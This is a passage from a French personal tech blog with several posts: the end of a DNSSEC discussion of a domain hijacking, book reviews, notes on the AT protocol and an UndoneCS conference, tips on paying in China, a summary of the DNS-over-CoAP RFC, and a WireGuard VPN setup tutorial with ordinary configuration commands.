Le domaine était signé et l'attaquant, bêtement, n'a pas changé l'enregistrement DS, ce qui fait que tous les gens utilisant (à raison) un résolveur validant n'ont pas pu voir le site pirate. (Personne ne semble avoir testé le domaine avec DNSviz pendant le détournement mais les tests anciens montrent que le DS était là depuis bien avant.)
Il ne semble pas (mais ce n'est pas visible de l'extérieur) que
eth.limo était protégé par un verrou au
registre (je ne sais pas si
.limo a un tel service, l'équivalent du
FR
lock de
.fr ; Patrick Mevzek a
cherché et n'a pas trouvé trace de ce service en
.limo). C'est pourtant une
très bonne protection contre les détournements mais aucun des deux
articles n'en parle.
Auteur(s) du livre : Leïla Slimani
Éditeur : Gallimard
978-2-07-315293-0
Publié en 2026
Première rédaction de cet article le 20 avril 2026
Dans ce court mais très percutant essai, Leïla Slimani commence par se demander pourquoi elle ne parle pas arabe, puis s'attaque aux politiques identitaires et défend la pluralité et l'égalité des langues (ainsi que la liberté de leurs locuteurs et locutrices).
Petite, l'auteure, dans son Maroc natal, parlait darija. Mais à la maison (famille assez riche et éduquée), c'était le français. Et les cours d'arabe classique, donnés par des enseignants rétrogrades et ennuyeux, n'attiraient pas. Résultat, aujourd'hui (elle vit en France), elle ne peut plus parler arabe et le regrette.
Slimani dénonce donc la hiérarchisation des langues, le fait que certaines langues étaient vues comme inférieures, moins intéressantes et donc pas ou mal enseignées. Et elle en profite pour défendre l'idée de langues vivantes, qui changent et ne sont pas tenues aux oukases (tiens, est-ce un mot français ?) d'institutions réactionnaires. C'est ainsi qu'elle défend les textes d'Aya Nakamura ou, plus exactement, le droit de la chanteuse à écrire comme elle le souhaite.
Mais surtout, l'auteure lance un « assaut contre la frontière » en dénonçant les politiques identitaires ou l'assignation à une identité unique, et en prônant l'universalité, que permet le pluralisme des langues. « Combien de fois m'a-t-on demandé si je me sentais plus arabe ou plus française. »
PS : la question de l'enseignement de l'arabe en France est un vieux sujet et je retrouve un article que j'avais fait en 2020.
Auteur(s) du livre : Alberto Angela
Éditeur : Payot
9-782228-934367
Publié en 2023
Première rédaction de cet article le 19 avril 2026
Le titre original « Amour et sexe dans la Rome antique » résume mieux ce livre que la ridicule traduction française. Mais ne lisant pas l'italien, j'ai dû passer par cette traduction. Donc, ce livre est un récit de plusieurs aspects de la sexualité dans la Rome de l'Antiquité.
Comme dans les précédents livres de cet excellent vulgarisateur
qu'est Alberto Angela, le récit est très
vivant, les personnages attachants et, vu le sujet choisi (amour et
sexe…), le livre a certainement de quoi capter l'attention. Comment
embrassait-on à Rome ? Comment draguait-on ? Quelles étaient les
positions utilisées ? D'un côté, il y avait une certaine liberté des
mœurs (davantage qu'avec le christianisme
ultérieur), de l'autre, c'était quand même une société très machiste
(et violente)… D'autant plus qu'on la connait surtout par des textes
d'auteurs masculins. Mais, bon, j'en profite pour placer une image
récupérée
sur Wikimedia Commons car il n'y a pas assez
d'images érotiques sur ce blog : 
Mais je suis un peu resté sur ma faim : plusieurs des éléments des précédents livres de cet auteur ont été réutilisés, et il n'y a pas assez de nouveautés pour moi. Je conseillerai aux lecteurices potentiel·les, qui s'intéressent aux différents aspects de la vie des Romains de l'Antiquité, de lire d'abord « Empire » (son meilleur livre) ou « Une journée dans la Rome antique ».
Première rédaction de cet article le 17 avril 2026
Non, il n'y a pas de coquille dans le titre de cet article,
l'ATmosphère (avec un A majuscule et un T
majuscule) est le terme parfois utilisé pour désigner le
réseau social bâti autour du protocole AT. J'y ai maintenant un
compte, @bortzmeyer.eurosky.social (depuis
changé en @at.bortzmeyer.fr).
Alors, je vous préviens tout de suite, je ne connais pas grand'chose au fonctionnement du protocole AT. J'ai un point de vue d'utilisateur. Au moins, cela me permet de parler de mon expérience, pas juste de répéter des arguments marketing. Mais, si vous connaissez bien AT, n'hésitez pas à signaler des erreurs (mais en étant rigoureux, pas juste en répétant des slogans).
Donc, pour écrire des choses intéressantes sur l'ATmosphère, on peut se demander pourquoi ne pas simplement aller sur son service le plus connu, Bluesky. Pour moi, la raison est simple : un autre réseau centralisé, propriété d'une entreprise états-unienne à but lucratif n'a pas d'intérêt. Ce n'est pas différent de Twitter et ça finira peut-être de la même façon, racheté par un milliardaire quasi-nazi. Les thuriféraires d'AT répètent tout le temps qu'AT est décentralisé, je ne voulais pas l'utiliser sans profiter de cette décentralisation (une Nième panne de Bluesky avait été l'élément déclencheur). Or, c'est compliqué, bien plus en pratique qu'en théorie.
D'abord, il y a un obstacle intellectuel : la quasi-totalité des documentations et articles supposent qu'on utilise Bluesky. La décentralisation est parfois invoquée pour faire joli mais rarement pratiquée. Ainsi, dans certains cas, pour utiliser un service ATmosphère, il faut bien chercher pour trouver l'option sans Bluesky. Ensuite, les choses changent (lentement). Des services qui, il y a encore quelques mois, n'affichaient que la possibilité d'utiliser Bluesky, s'ouvrent petit à petit.
Bon, quel service utiliser si on ne veut pas tout centraliser sur
Bluesky ? C'est là que les difficultés commencent car le
monde AT est complexe (bien plus que d'autres réseaux
décentralisés comme le courrier,
Matrix ou comme le
fédivers). Il y a en effet plusieurs services
à actionner. Il faut un compte, un PDS (c'est l'endroit où sont
stockées les données, comme les messages qu'on a écrit), un PLC (qui
permet de trouver les utilisateurs) et une
appview (la partie visible à l'utilisateur, donc
l'interface utilisateur en dépend). Le PLC, on n'a apparemment pas
le choix, il est choisi par les services (trouver le PDS se fait en
passant par le PLC). Et des systèmes comme
Eurosky fournissent à la fois le compte et le
PDS. J'ai donc commencé par me créer un compte sur
Eurosky (une possibilité
récente, il y a encore quelques mois, il fallait un compte
Bluesky) et c'est pour cela que vous voyez
eurosky.social dans mon identificateur (on peut
aussi utiliser son propre nom de domaine, ce que j'ai fait depuis). La création du compte est classique (identificateur, mot
de passe, données personnelles…), je peux me connecter.
Ensuite, selon le service qu'on veut utiliser, il faut choisir une appview (mais on pourra en utiliser plusieurs, c'est essentiellement une interface avec le service). Pour le microblogging, j'ai testé Blacksky (mais vous n'avez pas besoin de savoir cela, c'est juste l'interface que j'utilise, via un navigateur Web). Et voilà, je peux écrire des messages.
Il me reste encore des choses amusantes à tester :
Merci à aeris pour les nombreux renseignements.
Auteur(s) du livre : Francesca Musiani
Éditeur : C&F éditions
978-2-37662-107-2
Publié en 2026
Première rédaction de cet article le 17 avril 2026
Il y en a des livres, qui parlent d'Internet et, dans le lot, certains parlent de politique. Mais la plupart se limitent aux services visibles (YouTube, TikTok, ce que connait l'auteur) alors que ce livre de Francesca Musiani parle bien de l'Internet : en quoi son infrastructure est-elle politique ?
Ce livre est tiré de son HDR et, donc, si vous avez déjà lu ses autres articles, vous n'aurez pas de révélations radicales. Mais même dans ce cas, il est agréable de pouvoir lire un livre qui, en français, rassemble de manière cohérente et bien intégrée, des années de recherche. L'auteure explique bien la façon dont l'Internet est géré (ou pas géré, justement), et en quoi il est à la fois un outil et un enjeu de pouvoir.
Cinq passionnantes études de cas forment l'essentiel du livre : la « gouvernance de l'Internet » (sujet battu et rebattu, oui, mais ici traité de façon sérieuse), le DNS, Bitcoin, Signal et le cas de la Russie. Même si vous connaissez bien l'Internet, vous apprendrez certainement quelque chose. Et cela vous donnera peut-être envie d'agir pour que le futur de l'Internet soit celui que nous voulons.
Auteur(s) du livre : Mikael Niemi
Éditeur : Le livre de poche
978-2-253-10728-6
Publié en 2021
Première rédaction de cet article le 17 avril 2026
Un curieux roman policier suédois mais qui ne ressemble pas aux « polars scandinaves » habituels. D'abord, ça se passe au XIXe siècle, ensuite le héros n'est pas alcoolique (et même tout le contraire).
Le livre est inspiré d'un personnage réel, Lars Levi Læstadius, un pasteur intégriste qui faisait également de la botanique et, mais dans le roman seulement, de l'enquête policière. Dans une partie de la Finlande dominée par la Suède, où règne une stricte hiérarchie des langues (d'abord le suédois, puis le finnois, puis tout en bas le same), dans une région secouée par le mouvement de l'Éveil (ce qui perturbe pas mal l'enquête), le héros doit trouver le coupable d'une série de meurtres que certains attribuent à un ours. Le quatrième de couverture de l'édition français cite évidemment Le nom de la rose, pour le personnage du religieux-enquêteur mais Læstadius est bien plus rigide religieusement que Guillaume.
Croyez-moi, vous allez probablement être accroché rapidement si vous aimez les enquêtes policières. L'enquêteur ne traine pas sa dépression tout au long du livre, au contraire, il a une énergie débordante, qui contraste avec le calme de son assistant.
Première rédaction de cet article le 3 avril 2026
Du 23 au 25 mars 2026, à l'université du Luxembourg s'est tenue la deuxième édition de UndoneCS (Undone in Computer Science), la conférence scientifique sur les recherches qui n'ont pas été faites.
L'idée de base est que la recherche scientifique ne se fait pas au hasard : il y a des sujets sur lesquels on travaille car ils sont passionnants, ou bien financés, ou demandés par les autorités supérieures, et il y a les sujets négligés, ou pas financés, ou qui passent « sous le radar ». L'appel à présentations demandait donc des exposés sur des sujets qui sont a priori utiles mais qui n'ont pas fait l'objet de recherches approfondies.
L'angle était bien sur la science, pas les applications. En informatique, il est facile de citer d'innombrables sujets qui ont fait l'objet d'une recherche scientifique sérieuse, mais où cette recherche n'a pas été suivie de déploiements effectifs. Et c'était un peu, à mon avis, un point faible de cette conférence, plusieurs exposés, pourtant très intéressants, portaient sur des sujets qui avaient été étudiés par la recherche, parfois au point d'être overdone. On ne peut pas dire, par exemple, que les questions sur l'empreinte environnementale du numérique, ou sur le pair-à-pair n'ont pas fait l'objet de recherche, même si, sur le terrain, ça n'a pas eu tellement de conséquences. Vous pouvez consulter tout le programme de la conférence.
Hop, assez de critiques, quelques mots sur les exposés qui m'ont le plus intéressé. D'abord, Viktoriia Makovska a travaillé sur un excellent sujet, la mémoire, et la résistance des systèmes informatiques à l'oubli. Tout le monde sait qu'il est difficile de supprimer réellement une donnée qu'on a enregistrée. Même si on applique un droit à l'oubli, la donnée va rester dans les sauvegardes, dans les journaux, etc. Sans compter les malhonnêtetés comme celle d'Ashley Madison, qui ne supprimait pas réellement les comptes (alors qu'il fallait payer pour cela !) mais les marquait juste comme supprimés, ce qui n'a été dévoilé qu'après qu'un piratage a fait fuiter le fichier. Mais l'oratrice est allée plus loin en observant qu'avec tous les systèmes d'apprentissage automatique, supprimer une donnée utilisée pour l'entrainement d'une machine ne lui fait pas oublier la donnée. Ainsi, si on a entrainé le système avec des messages envoyés sur un réseau social, et que certains messages étaient agressifs, cette agressivité va se retrouver dans les textes générés (memory ghosts). Il ne s'agit donc pas seulement d'effacer mais aussi de désapprendre (machine unlearning). Si on veut vraiment permettre de supprimer, par exemple des informations fausses, il va falloir chercher des solutions (autre que de recommencer tout l'entrainement).
Si vous avez déjà utilisé des LLM (il existe encore des gens qui ne l'ont pas fait ?), vous savez qu'une de leurs grosses faiblesses est l'explicabilité. Le générateur affirme des choses mais a le plus grand mal à expliquer pourquoi il a dit cela, ce qui le rend inutilisable pour de nombreux usages, tous ceux où il faut pouvoir remettre en cause l'affirmation. Clément Arlotti a demandé à ce que la recherche se penche sur cette question, qui est très difficile puisque l'explicabilité demande de la séparabilité alors que le LLM, pendant son entrainement, a tout digéré et mélangé. Les marketeux qui vendent de l'IA se contentent d'affirmer que le progrès des LLM résoudra ce problème mais c'est un acte de foi, pas un résultat scientifique.
Comme exemple de la recherche guidée par les intérêts financiers de certains acteurs, Ryan Lahfa a cité le cas des systèmes de fichiers. Les travaux sur ce sujet sont typiquement financés par les grandes entreprises du Web, alors que leurs besoins ne sont pas forcément ceux des petits acteurs ou de l'auto-hébergement.
Baptiste Jonglez et Lucien Astié, qui travaillent pour le chaton Deuxfleurs (la page la plus frugale du Web) ont plutôt parlé des recherches sur la gouvernance des communs, qui pourraient tirer profit des communs réellement existants, comme ceux des hébergeurs Internet associatifs.
Nikolas Melissaris a fait remarquer qu'il n'y avait jamais de recherches faites sur l'efficacité des lois, par exemple celles de restrictions aux libertés sur l'Internet. On ne se soucie pas de savoir si la loi atteint ses buts ou pas. Négligence ? (Lisez son article.)
Et, sinon, le discours principal était fait par Payal Arora qui, entre autres, a estimé que pas mal de critiques de l'IA venaient de privilégiés qui, eux, n'avaient en effet pas forcément besoin de l'IA (par exemple parce qu'ils rédigeaient bien en anglais), mais négligeaient les besoins des autres. Par exemple, dans beaucoup de pays d'Afrique, les gens sont bien plus enthousiastes vis-à-vis de l'IA que dans les pays riches. Je n'ai pas lu son livre « From Pessimism to Promise », il faudrait que je regarde s'il n'y a pas également des critiques de ce techno-enthousiasme dans les pays du Sud.
Première rédaction de cet article le 1 avril 2026
Ayant récemment passé quelques jours en Chine, j'ai eu quelques problèmes à payer mes achats donc je profite de mon blog pour donner quelques conseils aux voyageurs (y compris à moi si je repars).
Ceci n'est pas une étude détaillée et scientifique. Je n'ai pas tout compris, loin de là, et je raconte juste ce que j'ai vu. Ne vous fiez pas aveuglément à ce que je dis. En outre, les choses peuvent changer vite et, si vous lisez cet article en 2027 ou 2028, il sera peut-être ridiculement dépassé.
Donc, la raison pour laquelle je fais un article sur le paiement en Chine et pas sur, par exemple, le paiement au Luxembourg ou même en Australie, c'est que la Chine a deux particularités : les cartes « occidentales » comme Visa ne marchent pas, ou très peu, et l'argent liquide est de plus en plus rare. Si certains commerçants l'acceptent encore, il est rare qu'ils rendent la monnaie (puisqu'ils n'en ont pas en caisse).
Comment font les Chinois ? Ils utilisent des applications de paiement sur leur ordiphone, les deux plus connues étant WeChat Pay et Alipay. Et ceux et celles qui n'ont pas d'ordiphone ? Je suppose qu'ils disparaissent rapidement.
Le Chinois typique adosse son application WeChat ou Alipay à son compte en banque local. Mais que peut faire l'étranger qui séjourne pour une courte durée ? La solution, pour laquelle vous trouvez de nombreux articles en ligne et de nombreuses vidéos sur YouTube est de lier sa carte Visa ou autre à ces applications. Et c'est là que les ennuis commencent. Je vous donne tout de suite deux conseils utiles : préparez les choses très à l'avance, et prévoyez des plans B. (Le mien était de taper les collègues à la réunion IETF.)
Déjà, ces applications sont très intrusives et demandent beaucoup
de permissions. Comme, de toute façon, on ne voyage pas en Chine
avec des machines qui portent des informations confidentielles,
j'avais un téléphone Android vierge (et qui
est effacé après). Donc, OK, on installe WeChat
et Alipay. (Vous
avez intérêt à les configurer en anglais ; en français, il y a moins
de choses traduites, et moins bien.) On se crée un compte via
l'application. Ensuite, on se crée sur sa banque des cartes
virtuelles et on les ajoute à son compte (toujours via
l'application sur l'ordiphone, je n'ai pas l'impression qu'il existe
des sites Web pour gérer son compte). Et on demande la vérification
d'identité, en montrant une photo de son passeport. Ici,
l'application WeChat, qui est en fait une « super-app » qui peut
héberger des « mini-apps », par exemple pour trouver un taxi :

Pour tester avant de partir, vous pouvez essayer de payer sur
. On
numérise le QR code présenté par le site Web,
on tape le mot de passe et hop.https://testchinapay.com/
J'ai aussi essayé de mettre de l'argent sur mes comptes WeChat et Alipay avant de partir, avec des services comme Western Union ou Panda Remit mais cela a été refusé à chaque fois, cela ne marche apparemment que si l'application est adossée à un compte en banque chinois.
Voilà, avec tout ça, est-ce que ça marche ? Eh bien, oui et
non. J'avais prévenu ma banque avant de partir. Mais les paiements
marchent parfois et sont parfois refusés, sans explications. Je ne
sais même pas si cela vient du côté chinois ou de ma banque. En payant avec
WeChat (mais ça n'est jamais arrivé avec Alipay), j'ai même eu
parfois des demandes de vérification 3-D
Secure, qui échouaient puisque je n'avais pas apporté
mon ordiphone habituel. Acceptations et refus me semblent assez
aléatoires 
Si vous êtes dans une boutique pour acheter des objets, vous
pouvez encore rendre les objets, mais c'est plus embêtant quand vous
êtes au restaurant et que vous avez fini de manger. D'où
l'importance des plans B (du liquide, en espérant que vous aurez le
bon montant, ou un collègue généreux). Ou alors, espérer que tout
marche (ici, sur Alipay) : 
Notez qu'il existe deux façons de payer, en numérisant le
QR code que le commerçant vous présente, ou
bien en présentant votre QR code, puis en tapant le montant
demandé. Scan pour le premier cas,
Pay/Receive pour le second, qui marche bien plus
souvent, ici sur Alipay : 
La vérification d'identité est resté « en cours » sur Alipay jusqu'à mon retour en France, ce qui n'a pas dû aider.
Merci beaucoup à Antoine Fressancourt pour son aide et ses explications.
Date de publication du RFC : Mars 2026
Auteur(s) du RFC : M. S. Lenders (TU
Dresden), C. Amsüss, C. Gündoğan
(NeuralAgent GmbH), T. C. Schmidt (HAW
Hamburg), M. Wählisch (TU Dresden & Barkhausen Institut)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF core
Première rédaction de cet article le 1 avril 2026
Le protocole CoAP est un protocole léger, conçu pour les objets connectés. Ce RFC décrit comment faire du DNS au-dessus de CoAP. Si votre brosse à dents a besoin de faire du DNS, c'est ce RFC qu'il faut lire.
CoAP, normalisé dans le RFC 7252, ressemble à HTTP mais en plus simple. Il vise le marché des objets contraints (en mémoire, énergie, en capacité réseau, en puissance de calcul…, voir le RFC 7228). CoAP permet à un client d'envoyer des requêtes à un serveur, et notre tout neuf RFC 9953 explique comment utiliser CoAP pour faire des requêtes DNS et recevoir des réponses DNS. Comme CoAP peut être vu, de manière simplifiée, comme une variante légère de HTTP, ce DNS sur CoAP, alias DoC (DNS over CoAP), est très proche dans ses principes de DoH (RFC 8484). Les contraintes de l'Internet des objets empêchent votre tournevis ou votre ampoule électrique de faire du DoH (qui implique HTTPS), d'où ce DoC. Bien sûr, il y avait toujours la possibilité de faire du DNS sur DTLS, comme le décrit le RFC 8094, mais CoAP a plein de fonctions sympas pour les objets contraints (transferts par blocs - RFC 7959, qui résout les problèmes de MTU, relais CoAP, etc).
L'architecture générale de DoC est très proche de celle de DoH : le client DoC interroge un serveur DoC qui est lui-même un client DNS, parlant typiquement à un résolveur DNS. La communication entre le client DoC et le serveur DoC utilise CoAP, celle entre le serveur DoC et le résolveur utilise le DNS normal, sur UDP, TCP, TLS, etc.
Le serveur DoC sera a priori désigné par le chemin
/. Le but est que
les messages soient plus courts (DoH utilise souvent
le chemin /dns-query). Au fait, comment le
client DoC trouve-t-il le serveur (section 3 du RFC) ? Plusieurs méthodes
sont admises, de la configuration manuelle (« le serveur DoC est en
coaps://doc.foobar.example/ ») aux répertoires
CORE (RFC 9176) en passant par les
classiques DHCP ou
RA ou bien par la découverte de résolveurs du
RFC 9462. Ces différentes solutions sont plus ou
moins sûres, et plus ou moins pratiques pour
l'administrateur/utilisateur (et en général les plus pratiques sont
les moins sûres).
Mais ce n'est pas tout : le serveur DoC peut aussi être trouvé
via le DNS, avec un enregistrement SVCB (RFC 9460 et RFC 9461), si
l'objet contraint a déjà un moyen d'interroger le DNS (la clé SVCB
est docpath, numéro
10).
Une fois qu'on connait le serveur, on peut lui parler. La section
4 décrit les messages CoAP échangés. Ils sont étiquetés avec le type
application/dns-message (valeur numérique 553).
La méthode CoAP utilisée est FETCH
(RFC 8132), qui n'a pas d'équivalent HTTP,
contrairement à la plupart des méthodes CoAP. DoC utilise le
principe REST (RFC 6690). Le RFC recommande de ne pas oublier le champ
Accept: pour indiquer le type de
données accepté. Le type recommandé est
application/dns-message. Dans la requête, le Query
ID DNS devrait être à 0, CoAP se charge de mettre en
correspondance requêtes et réponses donc cet identificateur n'est
pas utile (c'est pareil pour DoH).
Et les réponses ? Là encore, comme pour DoH, les codes de retour
CoAP indiquent si le serveur DoC a pu être joint et a pu faire son
travail, pas si la requête DNS a eu une réponse
satisfaisante. Autrement dit, tant que le serveur DoC fonctionne
bien, il renvoie le code 2.05 (RFC 7252, section 5.9.1.5.) et
c'est dans le message DNS qu'on saura si la résolution DNS a renvoyé
NOERROR, SERVFAIL,
NXDOMAIN, etc.
La mémorisation des réponses joue un rôle plus grand en CoAP
qu'en HTTP (rappelez-vous que CoAP sert à des objets contraints). Le
RFC demande donc que les TTL dans la réponse
DNS soient constants, afin que l'ETag (RFC 7252, section 5.10.6), s'il est calculé via un
condensat, ne change pas. Le serveur DoC doit
par contre mettre un champ Max-Age: dans sa
réponse (section 4.3.2).
Voici, tiré du RFC, un exemple de réponse CoAP, formaté en texte :
2.05 Content
Content-Format: 553 (application/dns-message)
Max-Age: 58719
Payload (human-readable):
;; ->>Header<<- opcode: QUERY, status: NOERROR, id: 0
;; flags: qr rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;example.org. IN AAAA
;; ANSWER SECTION:
;example.org. 79689 IN AAAA 2001:db8:1:0:1:2:3:4
Et la sécurité ? Le RFC recommande de sécuriser la communication avec le système OSCORE du RFC 8613 (ou, sinon, le DTLS du RFC 9147, ce qui donne du CoAPS). Le RFC note que cela assure la sécurité de la communication entre le client DoC et le serveur DoC mais que, après, on ne sait pas ce que fait le serveur (la section 8 recommande évidemment que le serveur DoC valide avec DNSSEC).
Questions mises en œuvre de DoC, on trouve (mais je ne les ai pas testées, je ne fais pas d'Internet des Objets), par les auteurs du RFC, dans RIOT, un client en C (source sur Github) et un serveur en Python.
Si vous voulez allez plus loin que ce résumé sommaire, une bonne lecture est le papier de 2023 des auteurs, « Securing Name Resolution in the IoT: DNS over CoAP ».
Première rédaction de cet article le 25 mars 2026
Si vous connaissez déjà, même superficiellement, WireGuard, vous n'apprendrez rien dans cet article, je n'ai rien fait d'original avec WireGuard mais, comme je l'ai récemment utilisé intensivement, voici mon expérience et ma configuration.
WireGuard est un logiciel permettant de créer un VPN, ce qui permet plein de choses, comme d'échapper à certains types de censure, ou comme dissimuler vos activités au fournisseur d'accès Internet que vous utilisez. Par exemple, en ce moment, j'écris cet article depuis le Wifi gratuit, non sécurisé, d'un aéroport dans un pays étranger, donc le risque est important. Bien sûr, je ne fais que des communications chiffrées de bout en bout (SSH, HTTPS, etc) mais le FAI voit quand même les machines avec lesquelles je communique. Autant lui dissimuler un peu plus de choses.
Il y a plusieurs façons de faire du VPN. Déjà, il faut choisir qui ou quoi va être à l'autre extrémité du réseau virtuel ainsi créé. Dans un cadre professionnel, on va se connecter au VPN de son employeur. Il y a aussi des fournisseurs de VPN commerciaux (comme celui qui est cité dans la moitié des vidéos YouTube parce que les youtubeur·ses ont des factures à payer). Et on peut aussi être son propre fournisseur de VPN, via une machine qu'on loue quelque part. Du point de vue de la sécurité, attention, le VPN dissimule votre activité à votre FAI mais le fournisseur de VPN devient votre vrai FAI et lui voit tout le trafic. Le VPN ne dispense donc pas de faire du chiffrement de bout en bout, et il faut bien choisir son fournisseur de VPN, sans se fier à l'influenceur payé pour cela qui va vanter son sponsor dans sa vidéo, avec des arguments malhonnêtes (« personne ne pourra voir ce que vous visitez »).
Moi, j'ai choisi d'être mon propre fournisseur de VPN et j'ai loué pour cela (c'était un projet temporaire) une machine chez V.PS. J'ai choisi cet hébergeur car la même entreprise a un résolveur DNS sympa. Et surtout ils louent des VPS dans de nombreux pays, ce qui m'a permis de placer le serveur VPN pas trop loin du client VPN (pour éviter que les paquets ne fassent le tour du monde), mais quand même dans un autre pays. J'ai choisi Debian comme système d'exploitation car ça juste marche.
Une fois ce choix fait, quel logiciel choisir ? Il existe de nombreuses techniques pour faire un VPN, IPsec (RFC 4301), OpenVPN, WireGuard… Les mises en œuvre d'IPsec sont complexes, et j'ai pris WireGuard car j'en avais entendu dire du bien (et il parait qu'il est plus rapide qu'OpenVPN mais je n'ai pas mesuré).
Effectivement, la configuration est simplissime. Côté serveur, on installe WireGuard (il y a un paquetage Debian), on vérifie qu'il est bien là :
server% wg version wireguard-tools v1.0.20210914 - https://git.zx2c4.com/wireguard-tools/
WireGuard protège toute la communication avec de la cryptographie asymétrique. On va donc générer des clés, d'abord la clé privée (que je ne vous montre pas en entier) :
server% wg genkey E….
(En vrai, on va sans doute rediriger vers un fichier, car il faut garder cette clé. Pensez à donner à ce fichier des permissions bien strictes.)
Il reste à calculer la clé publique à partir de la privée (ici,
la privée a été mise dans private.key). Elle,
on peut la montrer :
server% wg pubkey < private.key t0Bjw+XGBE1PI81vmhx+bBEIeoWO1f6JWthwi1vYHBk=
Ensuite, le gérant du serveur de VPN (moi, en l'occurrence) va
devoir choisir un plan d'adressage. Ici, avec
seulement un client, je ne me suis pas embêté. Comme V.PS ne me
donne qu'une seule adresse IPv4 publique et,
hélas, une seule adresse IPv6 publique, on va
donner des adresses privées au client VPN, et faire du NAT. Le VPN aura donc
des adresses dans 10.66.0.0/24 (RFC 1918) et fd00:666:ab::1/64 (ce sont
les ULA - Universal Local Address du RFC 4193, je détaille plus loin les choix pour
IPv6). Le serveur aura une adresse se terminant par 1 et le client
par 2.
WireGuard fonctionne au-dessus d'UDP, pour maximiser ses chances de passer dans un réseau mal fichu qui bloquerait d'autres protocoles de couche 4 (le problème de l'ossification). J'ai choisi un port UDP inhabituel, 41834 car les VPN sont souvent bloqués par les FAI, surtout dans certains pays, un port inhabituel a un petit peu plus de chances d'avoir été oublié par le censeur. Voici la configuration du serveur (clé privée masquée) :
server% cat /etc/wireguard/wg0.conf [Interface] Address = 10.66.0.1/24,fd00:666:ab::1/64 ListenPort = 41834 PrivateKey = E…Y= [Peer] PublicKey = xwVsq/MqwhqUxCRk5KeU0h8nLVCmBRPV3PFgRoay3VA= AllowedIPs = 10.66.0.2/32,fd00:666:ab::2/128 # Ajouter d'autres pairs si vous avez d'autres clients.
(Pourquoi wg0 ? C'est le nom de l'interface réseau
couramment utilisé mais vous pouvez en mettre un autre.) Le premier groupe indique les préfixes IP du VPN, les adresses du
serveur et son port. Le deuxième indique les caractéristiques du
client, dont sa clé publique, qu'il nous a communiqué.
Car il faut faire pareil chez le client (Ubuntu, dans mon cas). Il a aussi une clé privée (qu'il garde pour lui), une clé publique (qu'il communique au gérant du serveur) et la clé publique du serveur, que le fournisseur de VPN lui a communiquée.
[Interface] Address = 10.66.0.2/32,fd00:666:ab::2/128 PrivateKey = y…Q= [Peer] PublicKey = t0Bjw+XGBE1PI81vmhx+bBEIeoWO1f6JWthwi1vYHBk= AllowedIPs = 0.0.0.0/0, ::/0 Endpoint = wg-server.bortzmeyer.org:41834
Vous noterez qu'on a indiqué le serveur par son nom mais on aurait aussi pu utiliser son adresse IP, ce qui peut être nécessaire si le résolveur DNS par défaut est menteur. Sinon, il y a aussi dans le NetworkManager d'Ubuntu un cliquodrome pour configurer le client WireGuard mais je ne l'ai pas utilisé.
La directive AllowedIPs veut dire qu'on va
utiliser le VPN pour toutes les destinations, IPv4 et
IPv6. (Attention à ne pas mettre une directive pareille sur le
serveur, ou vous déclencherez une boucle sans fin, empêchant tout
accès par le réseau. Croyez-moi. J'ai essayé.)
Il reste à configurer le routage, et la traduction d'adresses puisque, aussi bien en IPv4 qu'en IPv6, on a des adresses IP privées, qui ne seront pas routées sur l'Internet. Déjà, activer le routage sur le serveur :
server% sysctl net.ipv4.ip_forward=1 server% sysctl net.ipv6.conf.all.forwarding=1
Si vous voulez que le routage soit activé systématiquement, vous
devez éditer /etc/sysctl.conf pour y mettre :
net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1
Notez que ces paramètres ne sont pas forcément appliqués au
démarrage, pour des raisons complexes (façon polie de dire que c'est
une bogue). Si ce n'est pas le cas (vérifiez avec
sysctl -a | grep forward), ajoutez
@reboot /usr/bin/sleep 5 && /usr/sbin/sysctl
--system dans la crontab de root.
Maintenant, la traduction d'adresses, en IPv4 (RFC 3424) et en IPv6 (notez que ce n'est pas du NAT66, RFC 6296, qui se ferait avec SNPT et pas SNAT, car NAT66 nécessite un préfixe routé) :
server% iptables -t nat -A POSTROUTING -s 10.66.0.0/24 -o eth0 -j SNAT --to-source 149.62.44.9 server% ip6tables -t nat -A POSTROUTING -s fd00:666:ab::1/64 -o eth0 -j SNAT --to-source 2a12:a301:2010::10eb
Pour rendre ces règles systématiques à chaque démarrage, vous pouvez utiliser le paquetage iptables-persistent :
server% iptables-save -f /etc/iptables/rules.v4 server% ip6tables-save -f /etc/iptables/rules.v6
Une autre solution, pour ne pas retaper les commandes à chaque
démarrage, est de les mettre dans des directives PostUp et PostDown de
wg0.conf, qui sont exécutées lorsque le VPN est
activé ou désactivé :
PostUp = ip6tables -t nat -A POSTROUTING -s fd00:666:ab::1/64 -o eth0 -j SNAT --to-source 2a12:a301:2010::10eb ; sysctl -q -w net.ipv6.conf.all.forwarding=1; iptables -t nat -A POSTROUTING -s 10.66.0.0/24 -o eth0 -j SNAT --to-source 149.62.44.9 ; sysctl -q -w net.ipv4.ip_forward=1 PostDown = ip6tables -t nat -D POSTROUTING -s fd00:666:ab::1/64 -o eth0 -j SNAT --to-source 2a12:a301:2010::10eb ; sysctl -q -w net.ipv6.conf.all.forwarding=0 ; iptables -t nat -D POSTROUTING -s 10.66.0.0/24 -o eth0 -j SNAT --to-source 149.62.44.9 ; sysctl -q -w net.ipv4.ip_forward=0
Enfin, on peut démarrer le service, ici en utilisant systemd puisque c'est ce que prévoit le paquetage Debian :
server% systemctl start wg-quick@wg0 client% systemctl start wg-quick@wg0
(Si on veut que ce soit fait automatiquement au démarrage, on systemctl enable wg-quick@wg0.)
À partir de là, un examen du trafic avec
tcpdump va montrer qu'on utilise bien le
VPN. Ici, je pingue 1.1.1.1 :
22:27:42.017959 IP 10.253.203.139.59473 > 149.62.44.9.41834: UDP, length 128 22:27:42.086272 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 128 22:27:43.020249 IP 10.253.203.139.59473 > 149.62.44.9.41834: UDP, length 128 22:27:43.390246 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 128
Et ici mon blog :
22:32:13.428890 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 1452 22:32:13.428891 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 1452 22:32:13.428891 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 1452 22:32:13.429001 IP 10.253.203.139.59473 > 149.62.44.9.41834: UDP, length 96 22:32:13.429028 IP 10.253.203.139.59473 > 149.62.44.9.41834: UDP, length 96 22:32:13.564711 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 80 22:32:13.564712 IP 149.62.44.9.41834 > 10.253.203.139.59473: UDP, length 80
Dans les deux cas, le FAI qui regarderait le
